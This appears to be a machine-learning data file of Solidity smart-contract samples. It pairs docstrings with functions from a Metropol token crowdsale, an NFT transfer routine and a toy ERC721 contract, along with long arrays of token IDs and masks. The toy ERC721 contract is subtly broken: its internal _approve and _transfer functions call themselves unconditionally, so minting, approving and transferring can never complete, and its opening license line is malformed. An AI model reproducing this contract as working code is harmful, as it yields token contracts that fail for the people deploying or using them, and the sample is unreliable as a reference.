function burn(address _from, uint256 _amount) public onlyController returns (bool) {
return super.burnInternal(_from, _amount);
}
}
/**
* Contract which is owned by owners and operated by controller.
*
* Provides a way to set up an entity (typically other contract) entitled to control actions of this contract.
* Controller is set up by owners or during construction.
*
*/
contract MetropolMultiownedControlled is Controlled, multiowned {
function MetropolMultiownedControlled(address[] _owners, uint256 _signaturesRequired)
multiowned(_owners, _signaturesRequired)
public
{
// nothing here
}
/**
* Sets the controller
*/
function setController(address _controller) external onlymanyowners(sha3(msg.data)) {
super.setControllerInternal(_controller);
}
}
/// @title StandardToken which circulation can be delayed and started by another contract.
/// @dev To be used as a mixin contract.
/// The contract is created in disabled state: circulation is disabled.
contract CirculatingToken is StandardToken {
event CirculationEnabled();
modifier requiresCirculation {
require(m_isCirculating);
_;
}
// PUBLIC interface
function transfer(address _to, uint256 _value) requiresCirculation returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) requiresCirculation returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) requiresCirculation returns (bool) {
return super.approve(_spender, _value);
}
// INTERNAL functions
function enableCirculation() internal returns (bool) {
if (m_isCirculating)
return false;
m_isCirculating = true;
CirculationEnabled();
return true;
}
// FIELDS
/// @notice are the circulation started?
bool public m_isCirculating;
}
/**
* CirculatingControlledToken
*/
contract CirculatingControlledToken is CirculatingToken, Controlled {
/**
* Allows token transfers
*/
function startCirculation() external onlyController {
assert(enableCirculation()); // must be called once
}
}
/**
* MetropolToken
*/
contract MetropolToken is
StandardToken,
Controlled,
MintableControlledToken,
BurnableControlledToken,
CirculatingControlledToken,
MetropolMultiownedControlled
{
string internal m_name = '';
string internal m_symbol = '';
uint8 public constant decimals = 18;
/**
* MetropolToken constructor
*/
function MetropolToken(address[] _owners)
MetropolMultiownedControlled(_owners, 2)
public
{
require(3 == _owners.length);
}
function name() public constant returns (string) {
return m_name;
}
function symbol() public constant returns (string) {
return m_symbol;
}
function setNameSymbol(string _name, string _symbol) external onlymanyowners(sha3(msg.data)) {
require(bytes(m_name).length==0);
require(bytes(_name).length!=0 && bytes(_symbol).length!=0);
m_name = _name;
m_symbol = _symbol;
}
}
/////////123
/**
* @title Basic crowdsale stat
* @author Eenae
*/
contract ICrowdsaleStat {
/// @notice amount of funds collected in wei
function getWeiCollected() public constant returns (uint);
/// @notice amount of tokens minted (NOT equal to totalSupply() in case token is reused!)
function getTokenMinted() public constant returns (uint);
}
/**
* @title Interface for code which processes and stores investments.
* @author Eenae
*/
contract IInvestmentsWalletConnector {
/// @dev process and forward investment
function storeInvestment(address investor, uint payment) internal;
/// @dev total investments amount stored using storeInvestment()
function getTotalInvestmentsStored() internal constant returns (uint);
/// @dev called in case crowdsale succeeded
function wcOnCrowdsaleSuccess() internal;
/// @dev called in case crowdsale failed
function wcOnCrowdsaleFailure() internal;
}
/// @title Base contract for simple crowdsales
contract SimpleCrowdsaleBase is ArgumentsChecker, ReentrancyGuard, IInvestmentsWalletConnector, ICrowdsaleStat {
using SafeMath for uint256;
event FundTransfer(address backer, uint amount, bool isContribution);
function SimpleCrowdsaleBase(address token)
validAddress(token)
{
m_token = MintableToken(token);
}
// PUBLIC interface: payments
// fallback function as a shortcut
function() payable {
require(0 == msg.data.length);
buy(); // only internal call here!
}
/// @notice crowdsale participation
function buy() public payable { // dont mark as external!
buyInternal(msg.sender, msg.value, 0);
}
// INTERNAL
/// @dev payment processing
function buyInternal(address investor, uint payment, uint extraBonuses)
internal
nonReentrant
{
require(payment >= getMinInvestment());
require(getCurrentTime() >= getStartTime() || ! mustApplyTimeCheck(investor, payment) /* for final check */);
if (getCurrentTime() >= getEndTime()) {
finish();
}
if (m_finished) {
// saving provided gas
investor.transfer(payment);
return;
}
uint startingWeiCollected = getWeiCollected();
uint startingInvariant = this.balance.add(startingWeiCollected);
uint change;
if (hasHardCap()) {
// return or update payment if needed
uint paymentAllowed = getMaximumFunds().sub(getWeiCollected());
assert(0 != paymentAllowed);
if (paymentAllowed < payment) {
change = payment.sub(paymentAllowed);
payment = paymentAllowed;
}
}
// issue tokens
uint tokens = calculateTokens(investor, payment, extraBonuses);
m_token.mint(investor, tokens);
m_tokensMinted += tokens;
// record payment
storeInvestment(investor, payment);
assert((!hasHardCap() || getWeiCollected() <= getMaximumFunds()) && getWeiCollected() > startingWeiCollected);
FundTransfer(investor, payment, true);
if (hasHardCap() && getWeiCollected() == getMaximumFunds())
finish();
if (change > 0)
investor.transfer(change);
assert(startingInvariant == this.balance.add(getWeiCollected()).add(change));
}
function finish() internal {
if (m_finished)
return;
if (getWeiCollected() >= getMinimumFunds())
wcOnCrowdsaleSuccess();
else
wcOnCrowdsaleFailure();
m_finished = true;
}
// Other pluggables
/// @dev says if crowdsale time bounds must be checked
function mustApplyTimeCheck(address /*investor*/, uint /*payment*/) constant internal returns (bool) {
return true;
}
/// @notice whether to apply hard cap check logic via getMaximumFunds() method
function hasHardCap() constant internal returns (bool) {
return getMaximumFunds() != 0;
}
/// @dev to be overridden in tests
function getCurrentTime() internal constant returns (uint) {
return now;
}
/// @notice maximum investments to be accepted during pre-ICO
function getMaximumFunds() internal constant returns (uint);
/// @notice minimum amount of funding to consider crowdsale as successful
function getMinimumFunds() internal constant returns (uint);
/// @notice start time of the pre-ICO
function getStartTime() internal constant returns (uint);
/// @notice end time of the pre-ICO
function getEndTime() internal constant returns (uint);
/// @notice minimal amount of investment
function getMinInvestment() public constant returns (uint) {
return 10 finney;
}
/// @dev calculates token amount for given investment
function calculateTokens(address investor, uint payment, uint extraBonuses) internal constant returns (uint);
// ICrowdsaleStat
function getWeiCollected() public constant returns (uint) {
return getTotalInvestmentsStored();
}
/// @notice amount of tokens minted (NOT equal to totalSupply() in case token is reused!)
function getTokenMinted() public constant returns (uint) {
return m_tokensMinted;
}
// FIELDS
/// @dev contract responsible for token accounting
MintableToken public m_token;
uint m_tokensMinted;
bool m_finished = false;
}
/// @title Stateful mixin add state to contact and handlers for it
contract SimpleStateful {
enum State { INIT, RUNNING, PAUSED, FAILED, SUCCEEDED }
event StateChanged(State _state);
modifier requiresState(State _state) {
require(m_state == _state);
_;
}
modifier exceptState(State _state) {
require(m_state != _state);
_;
}
function changeState(State _newState) internal {
assert(m_state != _newState);
if (State.INIT == m_state) {
assert(State.RUNNING == _newState);
}
else if (State.RUNNING == m_state) {
assert(State.PAUSED == _newState || State.FAILED == _newState || State.SUCCEEDED == _newState);
}
else if (State.PAUSED == m_state) {
assert(State.RUNNING == _newState || State.FAILED == _newState);
}
else assert(false);
m_state = _newState;
StateChanged(m_state);
}
function getCurrentState() internal view returns(State) {
return m_state;
}
/// @dev state of sale
State public m_state = State.INIT;
}
/**
* Stores investments in FundsRegistry.
*/
contract MetropolFundsRegistryWalletConnector is IInvestmentsWalletConnector {
function MetropolFundsRegistryWalletConnector(address _fundsAddress)
public
{
require(_fundsAddress!=address(0));
m_fundsAddress = FundsRegistry(_fundsAddress);
}
/// @dev process and forward investment
function storeInvestment(address investor, uint payment) internal
{
m_fundsAddress.invested.value(payment)(investor);
}
/// @dev total investments amount stored using storeInvestment()
function getTotalInvestmentsStored() internal constant returns (uint)
{
return m_fundsAddress.totalInvested();
}
/// @dev called in case crowdsale succeeded
function wcOnCrowdsaleSuccess() internal {
m_fundsAddress.changeState(FundsRegistry.State.SUCCEEDED);
m_fundsAddress.detachController();
}
/// @dev called in case crowdsale failed
function wcOnCrowdsaleFailure() internal {
m_fundsAddress.changeState(FundsRegistry.State.REFUNDING);
}
/// @notice address of wallet which stores funds
FundsRegistry public m_fundsAddress;
}
/**
* Crowdsale with state
*/
contract StatefulReturnableCrowdsale is
SimpleCrowdsaleBase,
SimpleStateful,
multiowned,
MetropolFundsRegistryWalletConnector
{
/** Last recorded funds */
uint256 public m_lastFundsAmount;
event Withdraw(address payee, uint amount);
/**
* Automatic check for unaccounted withdrawals
* @param _investor optional refund parameter
* @param _payment optional refund parameter
*/
modifier fundsChecker(address _investor, uint _payment) {
uint atTheBeginning = getTotalInvestmentsStored();
if (atTheBeginning < m_lastFundsAmount) {
changeState(State.PAUSED);
if (_payment > 0) {
_investor.transfer(_payment); // we cant throw (have to save state), so refunding this way
}
// note that execution of further (but not preceding!) modifiers and functions ends here
} else {
_;
if (getTotalInvestmentsStored() < atTheBeginning) {
changeState(State.PAUSED);
} else {
m_lastFundsAmount = getTotalInvestmentsStored();
}
}
}
/**
* Triggers some state changes based on current time
*/
modifier timedStateChange() {
if (getCurrentState() == State.INIT && getCurrentTime() >= getStartTime()) {
changeState(State.RUNNING);
}
_;
}
/**
* Constructor
*/
function StatefulReturnableCrowdsale(
address _token,
address _funds,
address[] _owners,
uint _signaturesRequired
)
public
SimpleCrowdsaleBase(_token)
multiowned(_owners, _signaturesRequired)
MetropolFundsRegistryWalletConnector(_funds)
validAddress(_token)
validAddress(_funds)
{
}
function pauseCrowdsale()
public
onlyowner
requiresState(State.RUNNING)
{
changeState(State.PAUSED);
}
function continueCrowdsale()
public
onlymanyowners(sha3(msg.data))
requiresState(State.PAUSED)
{
changeState(State.RUNNING);
if (getCurrentTime() >= getEndTime()) {
finish();
}
}
function failCrowdsale()
public
onlymanyowners(sha3(msg.data))
requiresState(State.PAUSED)
{
wcOnCrowdsaleFailure();
m_finished = true;
}
function withdrawPayments()
public
nonReentrant
requiresState(State.FAILED)
{
Withdraw(msg.sender, m_fundsAddress.m_weiBalances(msg.sender));
m_fundsAddress.withdrawPayments(msg.sender);
}
/**
* Additional check of contributing process since we have state
*/
function buyInternal(address _investor, uint _payment, uint _extraBonuses)
internal
timedStateChange
exceptState(State.PAUSED)
fundsChecker(_investor, _payment)
{
if (!mustApplyTimeCheck(_investor, _payment)) {
require(State.RUNNING == m_state || State.INIT == m_state);
}
else
{
require(State.RUNNING == m_state);
}
super.buyInternal(_investor, _payment, _extraBonuses);
}
/// @dev called in case crowdsale succeeded
function wcOnCrowdsaleSuccess() internal {
super.wcOnCrowdsaleSuccess();
changeState(State.SUCCEEDED);
}
/// @dev called in case crowdsale failed
function wcOnCrowdsaleFailure() internal {
super.wcOnCrowdsaleFailure();
changeState(State.FAILED);
}
}
/**
* MetropolCrowdsale
*/
contract MetropolCrowdsale is StatefulReturnableCrowdsale {
uint256 public m_startTimestamp;
uint256 public m_softCap;
uint256 public m_hardCap;
uint256 public m_exchangeRate;
address public m_foundersTokensStorage;
bool public m_initialSettingsSet = false;
modifier requireSettingsSet() {
require(m_initialSettingsSet);
_;
}
function MetropolCrowdsale(address _token, address _funds, address[] _owners)
public
StatefulReturnableCrowdsale(_token, _funds, _owners, 2)
{
require(3 == _owners.length);
//2030-01-01, not to start crowdsale
m_startTimestamp = 1893456000;
}
/**
* Set exchange rate before start
*/
function setInitialSettings(
address _foundersTokensStorage,
uint256 _startTimestamp,
uint256 _softCapInEther,
uint256 _hardCapInEther,
uint256 _tokensForOneEther
)
public
timedStateChange
requiresState(State.INIT)
onlymanyowners(sha3(msg.data))
validAddress(_foundersTokensStorage)
{
//no check for settings set
//can be set multiple times before ICO
require(_startTimestamp!=0);
require(_softCapInEther!=0);
require(_hardCapInEther!=0);
require(_tokensForOneEther!=0);
m_startTimestamp = _startTimestamp;
m_softCap = _softCapInEther * 1 ether;
m_hardCap = _hardCapInEther * 1 ether;
m_exchangeRate = _tokensForOneEther;
m_foundersTokensStorage = _foundersTokensStorage;
m_initialSettingsSet = true;
}
/**
* Set exchange rate before start
*/
function setExchangeRate(uint256 _tokensForOneEther)
public
timedStateChange
requiresState(State.INIT)
onlymanyowners(sha3(msg.data))
{
m_exchangeRate = _tokensForOneEther;
}
/**
* withdraw payments by investor on fail
*/
function withdrawPayments() public requireSettingsSet {
getToken().burn(
msg.sender,
getToken().balanceOf(msg.sender)
);
super.withdrawPayments();
}
// INTERNAL
/**
* Additional check of initial settings set
*/
function buyInternal(address _investor, uint _payment, uint _extraBonuses)
internal
requireSettingsSet
{
super.buyInternal(_investor, _payment, _extraBonuses);
}
/**
* All users except deployer must check time before contributing
*/
function mustApplyTimeCheck(address investor, uint payment) constant internal returns (bool) {
return !isOwner(investor);
}
/**
* For min investment check
*/
function getMinInvestment() public constant returns (uint) {
return 1 wei;
}
/**
* Get collected funds (internally from FundsRegistry)
*/
function getWeiCollected() public constant returns (uint) {
return getTotalInvestmentsStored();
}
/**
* Minimum amount of funding to consider crowdsale as successful
*/
function getMinimumFunds() internal constant returns (uint) {
return m_softCap;
}
/**
* Maximum investments to be accepted during crowdsale
*/
function getMaximumFunds() internal constant returns (uint) {
return m_hardCap;
}
/**
* Start time of the crowdsale
*/
function getStartTime() internal constant returns (uint) {
return m_startTimestamp;
}
/**
* End time of the crowdsale
*/
function getEndTime() internal constant returns (uint) {
return m_startTimestamp + 60 days;
}
/**
* Formula for calculating tokens from contributed ether
*/
function calculateTokens(address /*investor*/, uint payment, uint /*extraBonuses*/)
internal
constant
returns (uint)
{
uint256 secondMonth = m_startTimestamp + 30 days;
if (getCurrentTime() <= secondMonth) {
return payment.mul(m_exchangeRate);
} else if (getCurrentTime() <= secondMonth + 1 weeks) {
return payment.mul(m_exchangeRate).mul(100).div(105);
} else if (getCurrentTime() <= secondMonth + 2 weeks) {
return payment.mul(m_exchangeRate).mul(100).div(110);
} else if (getCurrentTime() <= secondMonth + 3 weeks) {
return payment.mul(m_exchangeRate).mul(100).div(115);
} else if (getCurrentTime() <= secondMonth + 4 weeks) {
return payment.mul(m_exchangeRate).mul(100).div(120);
} else {
return payment.mul(m_exchangeRate).mul(100).div(125);
}
}
/**
* Additional on-success actions
*/
function wcOnCrowdsaleSuccess() internal {
super.wcOnCrowdsaleSuccess();
//20% of total totalSupply to team
m_token.mint(
m_foundersTokensStorage,
getToken().totalSupply().mul(20).div(80)
);
getToken().startCirculation();
getToken().detachController();
}
/**
* Returns attached token
*/
function getToken() internal returns(MetropolToken) {
return MetropolToken(m_token);
}
}
| * Ability for controller to step down/ | function detachController() external onlyController {
address was = m_controller;
m_controller = address(0);
ControllerRetired(was);
}
| 7,268,903 | [
1,
5895,
1889,
364,
2596,
358,
2235,
2588,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
10199,
2933,
1435,
3903,
1338,
2933,
288,
203,
3639,
1758,
1703,
273,
312,
67,
5723,
31,
203,
3639,
312,
67,
5723,
273,
1758,
12,
20,
1769,
203,
3639,
6629,
7055,
2921,
12,
17416,
1769,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0x3b1F81fB7dCad05a86C7d37e9bB928d6A27DCf28/sources/project:/contracts/MERC721TokenAdmin.sol | * @notice Transfers an underlying NFT asset out of this contract @dev Performs a transfer out, reverting upon failure. If caller has not called checked protocol's balance, may revert due to insufficient cash held in the contract. If caller has checked protocol's balance, and verified it is >= amount, this should not revert in normal conditions. @param to The address where to transfer underlying assets to @param underlyingID The ID of the underlying asset @param amount The amount of underlying to transfer, must be == oneUnit here/* For now, amounts transferred out must always be oneUnit. Later, with NFT borrowing enabled amount could be larger than oneUnit and the difference would be the lender's and protocol's profit and should be distributed here./ transfer without subsequent sale to a third party transfer followed by sale to a third party (handled by transferHandler) transfer underlying to transferHandler first (reduced risk, grant access rights only from transferHandler) | function doTransferOut(address payable to, uint256 underlyingID, uint amount, uint sellPrice, address payable transferHandler, bytes memory transferParams) internal returns (uint) {
require(amount == oneUnit, "Amount must be oneUnit");
if (transferHandler == address(0)) {
IERC721(underlyingContract).safeTransferFrom(address(this), to, underlyingID);
require(IERC721(underlyingContract).ownerOf(underlyingID) == to, "Transfer out failed");
}
else {
IERC721(underlyingContract).safeTransferFrom(address(this), transferHandler, underlyingID);
uint oldBalance = tokenAuction.paymentToken().balanceOfUnderlying(to);
uint error = FlashLoanReceiverInterface(transferHandler).executeTransfer(underlyingID, to, sellPrice, transferParams);
require(error == uint(Error.NO_ERROR), "transfer operation failed");
uint newBalance = tokenAuction.paymentToken().balanceOfUnderlying(to);
require(newBalance >= oldBalance && (newBalance - oldBalance) >= sellPrice, "Transfer out failed");
}
return amount;
}
| 11,025,489 | [
1,
1429,
18881,
392,
6808,
423,
4464,
3310,
596,
434,
333,
6835,
225,
27391,
279,
7412,
596,
16,
15226,
310,
12318,
5166,
18,
225,
971,
4894,
711,
486,
2566,
5950,
1771,
1807,
11013,
16,
2026,
15226,
6541,
358,
2763,
11339,
276,
961,
15770,
316,
326,
6835,
18,
225,
971,
4894,
711,
5950,
1771,
1807,
11013,
16,
471,
13808,
518,
353,
1545,
3844,
16,
333,
1410,
486,
15226,
316,
2212,
4636,
18,
225,
358,
1021,
1758,
1625,
358,
7412,
6808,
7176,
358,
225,
6808,
734,
1021,
1599,
434,
326,
6808,
3310,
225,
3844,
1021,
3844,
434,
6808,
358,
7412,
16,
1297,
506,
422,
1245,
2802,
2674,
19,
2457,
2037,
16,
30980,
906,
4193,
596,
1297,
3712,
506,
1245,
2802,
18,
511,
2045,
16,
598,
423,
4464,
29759,
310,
3696,
3844,
3377,
506,
10974,
2353,
1245,
2802,
471,
326,
7114,
4102,
506,
326,
328,
2345,
1807,
471,
1771,
1807,
450,
7216,
2
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] | [
1,
565,
445,
741,
5912,
1182,
12,
2867,
8843,
429,
358,
16,
2254,
5034,
6808,
734,
16,
2254,
3844,
16,
2254,
357,
80,
5147,
16,
1758,
8843,
429,
7412,
1503,
16,
1731,
3778,
7412,
1370,
13,
2713,
1135,
261,
11890,
13,
288,
203,
3639,
2583,
12,
8949,
422,
1245,
2802,
16,
315,
6275,
1297,
506,
1245,
2802,
8863,
203,
3639,
309,
261,
13866,
1503,
422,
1758,
12,
20,
3719,
288,
203,
5411,
467,
654,
39,
27,
5340,
12,
9341,
6291,
8924,
2934,
4626,
5912,
1265,
12,
2867,
12,
2211,
3631,
358,
16,
6808,
734,
1769,
203,
5411,
2583,
12,
45,
654,
39,
27,
5340,
12,
9341,
6291,
8924,
2934,
8443,
951,
12,
9341,
6291,
734,
13,
422,
358,
16,
315,
5912,
596,
2535,
8863,
203,
3639,
289,
203,
3639,
469,
288,
203,
5411,
467,
654,
39,
27,
5340,
12,
9341,
6291,
8924,
2934,
4626,
5912,
1265,
12,
2867,
12,
2211,
3631,
7412,
1503,
16,
6808,
734,
1769,
203,
5411,
2254,
1592,
13937,
273,
1147,
37,
4062,
18,
9261,
1345,
7675,
12296,
951,
14655,
6291,
12,
869,
1769,
203,
5411,
2254,
555,
273,
15014,
1504,
304,
12952,
1358,
12,
13866,
1503,
2934,
8837,
5912,
12,
9341,
6291,
734,
16,
358,
16,
357,
80,
5147,
16,
7412,
1370,
1769,
203,
5411,
2583,
12,
1636,
422,
2254,
12,
668,
18,
3417,
67,
3589,
3631,
315,
13866,
1674,
2535,
8863,
203,
5411,
2254,
394,
13937,
273,
1147,
37,
4062,
18,
9261,
1345,
7675,
12296,
951,
14655,
6291,
12,
869,
1769,
203,
5411,
2583,
12,
2704,
13937,
1545,
1592,
13937,
2
] |
/ SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.4.18;
contract ERC721 {
address public owner;
uint public last_completed_migration;
modifier restricted() {
if (msg.sender == owner) _;
}
function Migrations() public {
owner = msg.sender;
}
function setCompleted(uint completed) public restricted {
last_completed_migration = completed;
}
function upgrade(address new_address) public restricted {
ERC721 upgraded = ERC721(new_address);
upgraded.setCompleted(last_completed_migration);
}
}
contract MyNonFungibleToken is ERC721 {
/*** CONSTANTS ***/
string public constant name = "MyNonFungibleToken";
string public constant symbol = "MNFT";
bytes4 constant InterfaceID_ERC165 =
bytes4(keccak256('supportsInterface(bytes4)'));
bytes4 constant InterfaceID_ERC721 =
bytes4(keccak256('name()')) ^
bytes4(keccak256('symbol()')) ^
bytes4(keccak256('totalSupply()')) ^
bytes4(keccak256('balanceOf(address)')) ^
bytes4(keccak256('ownerOf(uint256)')) ^
bytes4(keccak256('approve(address,uint256)')) ^
bytes4(keccak256('transfer(address,uint256)')) ^
bytes4(keccak256('transferFrom(address,address,uint256)')) ^
bytes4(keccak256('tokensOfOwner(address)'));
/*** DATA TYPES ***/
struct Token {
address mintedBy;
uint64 mintedAt;
}
/*** STORAGE ***/
Token[] tokens;
mapping (uint256 => address) public tokenIndexToOwner;
mapping (address => uint256) ownershipTokenCount;
mapping (uint256 => address) public tokenIndexToApproved;
/*** EVENTS ***/
event Mint(address owner, uint256 tokenId);
/*** INTERNAL FUNCTIONS ***/
function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) {
return tokenIndexToOwner[_tokenId] == _claimant;
}
function _approvedFor(address _claimant, uint256 _tokenId) internal view returns (bool) {
return tokenIndexToApproved[_tokenId] == _claimant;
}
function _approve(address _to, uint256 _tokenId) internal {
tokenIndexToApproved[_tokenId] = _to;
_approve(tokenIndexToOwner[_tokenId], _tokenId); //_approve(tokenIndexToOwner[_tokenId], tokenIndexToApproved[_tokenId], _tokenId);
}
function _transfer(address _from, address _to, uint256 _tokenId) internal {
ownershipTokenCount[_to]++;
tokenIndexToOwner[_tokenId] = _to;
if (_from != address(0)) {
ownershipTokenCount[_from]--;
delete tokenIndexToApproved[_tokenId];
}
_transfer(_from, _to, _tokenId);
}
function _mint(address _owner) internal returns (uint256 tokenId) {
Token memory token = Token({
mintedBy: _owner,
mintedAt: uint64(now)
});
tokenId = tokens.push(token) - 1;
emit Mint(_owner, tokenId);
_transfer(0, _owner, tokenId);
}
/*** ERC721 IMPLEMENTATION ***/
function supportsInterface(bytes4 _interfaceID) external pure returns (bool) {
return ((_interfaceID == InterfaceID_ERC165) || (_interfaceID == InterfaceID_ERC721));
}
function totalSupply() public view returns (uint256) {
return tokens.length;
}
function balanceOf(address _owner) public view returns (uint256) {
return ownershipTokenCount[_owner];
}
function ownerOf(uint256 _tokenId) external view returns (address owner) {
owner = tokenIndexToOwner[_tokenId];
require(owner != address(0));
}
function approve(address _to, uint256 _tokenId) external {
require(_owns(msg.sender, _tokenId));
_approve(_to, _tokenId);
}
function transfer(address _to, uint256 _tokenId) external {
require(_to != address(0));
require(_to != address(this));
require(_owns(msg.sender, _tokenId));
_transfer(msg.sender, _to, _tokenId);
}
function transferFrom(address _from, address _to, uint256 _tokenId) external {
require(_to != address(0));
require(_to != address(this));
require(_approvedFor(msg.sender, _tokenId));
require(_owns(_from, _tokenId));
_transfer(_from, _to, _tokenId);
}
function tokensOfOwner(address _owner) external view returns (uint256[]) {
uint256 balance = balanceOf(_owner);
if (balance == 0) {
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](balance);
uint256 maxTokenId = totalSupply();
uint256 idx = 0;
uint256 tokenId;
for (tokenId = 1; tokenId <= maxTokenId; tokenId++) {
if (tokenIndexToOwner[tokenId] == _owner) {
result[idx] = tokenId;
idx++;
}
}
}
return result;
}
/*** OTHER EXTERNAL FUNCTIONS ***/
function mint() external returns (uint256) {
return _mint(msg.sender);
}
function getToken(uint256 _tokenId) external view returns (address mintedBy, uint64 mintedAt) {
Token memory token = tokens[_tokenId];
mintedBy = token.mintedBy;
mintedAt = token.mintedAt;
}
}
| ** CONSTANTS ***/** DATA TYPES ***/ | struct Token {
address mintedBy;
uint64 mintedAt;
}
Token[] tokens;
mapping (uint256 => address) public tokenIndexToOwner;
mapping (address => uint256) ownershipTokenCount;
mapping (uint256 => address) public tokenIndexToApproved;
event Mint(address owner, uint256 tokenId);
| 12,842,118 | [
1,
25878,
55,
342,
8730,
3463,
55,
342,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
1958,
3155,
288,
203,
565,
1758,
312,
474,
18696,
31,
203,
565,
2254,
1105,
312,
474,
329,
861,
31,
203,
225,
289,
203,
203,
203,
225,
3155,
8526,
2430,
31,
203,
203,
225,
2874,
261,
11890,
5034,
516,
1758,
13,
1071,
1147,
1016,
774,
5541,
